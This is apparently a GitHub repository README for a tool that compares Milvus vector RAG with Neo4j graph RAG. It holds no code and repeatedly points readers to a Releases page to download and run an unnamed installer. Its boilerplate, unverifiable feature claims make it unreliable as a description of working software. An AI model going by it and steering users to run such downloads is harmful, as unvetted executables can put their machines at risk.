Coder-ujju20

🌟 VectorRAG-vs-GraphRAG - Compare RAG Systems Easily

🔗 Download

🚀 Getting Started

Welcome to the VectorRAG-vs-GraphRAG project! This application compares the performance of Milvus Vector-based RAG and Neo4j Graph-based RAG systems. Both systems help businesses retrieve knowledge effectively, making this tool essential for improving enterprise chatbots and document management.

🖥️ System Requirements

To run this application, you will need:

• Windows, macOS, or Linux operating system
• At least 4 GB of RAM
• 100 MB of free disk space
• An internet connection (for downloading and accessing documentation)

💻 Download & Install

To download the application, visit the Releases page by clicking the link below. Follow these steps once you get there:

1. Click on the link below to visit the Releases page. Visit Releases Page

2. On the Releases page, you will see a list of available versions. Look for the latest release.

3. Find the appropriate download link for your operating system and click on it.

4. After the download finishes, locate the downloaded file on your computer.

5. Double-click the file to start installation.

6. Follow the on-screen instructions to complete the installation.

📖 Using the Application

After installing the application, follow these steps to get started:

1. Open the application from your Programs or Applications folder.

2. Choose the RAG system you want to evaluate: Milvus Vector-based RAG or Neo4j Graph-based RAG.

3. Input the documents you want to analyze. You can upload PDF files or enter direct text.

4. Click on the “Start Evaluation” button to see the performance metrics.

5. Review the results displayed, which will show you how each system handled the retrieval process.

📚 Features

• Easy Document Upload: Drag and drop files or use the upload button.
• Performance Metrics: Get clear comparisons between Milvus and Neo4j systems.
• User-Friendly Interface: Designed for ease of use, no technical skills required.
• Custom Query Support: Create custom queries using Cypher for Neo4j.
• Chatbot Integration: Use results to improve your enterprise chatbot’s efficiency.

⚙️ Troubleshooting

If you encounter issues while using the application, follow these tips:

• Installation Problems: Ensure you have downloaded the correct file for your operating system.
• Slow Performance: Close other applications that may be using your computer’s resources.
• Error Messages: If you receive an error message, check your document format. Make sure they are supported.

📞 Support

For further assistance, you can reach out via the Issues section in this repository. Describe your problem clearly, and we will do our best to help you.

🏷️ Topics

This project covers several important topics, including:

• Chunking
• Cypher Query
• Document Routing
• Enterprise Chatbot
• Graph Database
• Retrieval Techniques

Explore the potential of knowledge retrieval with VectorRAG-vs-GraphRAG. Enjoy discovering how different systems perform in comparison to each other.

🌐 Additional Resources

Here are some useful links:

• Documentation - Learn how to use the application effectively.
• GitHub Repository - Check the code and contribute to the project.

🔄 Update Notifications

To stay informed about updates and new features, consider watching this repository. You will receive notifications for new releases and significant changes.

👥 Community

Join our community discussions by visiting the discussions section. Share your thoughts, tips, or any feedback you may have. Your input is valuable in improving this application.

🔗 Download Again

For your convenience, here is the download link once more: Visit Releases Page

Explore and compare RAG systems with ease. Your journey toward enhanced enterprise knowledge retrieval starts here!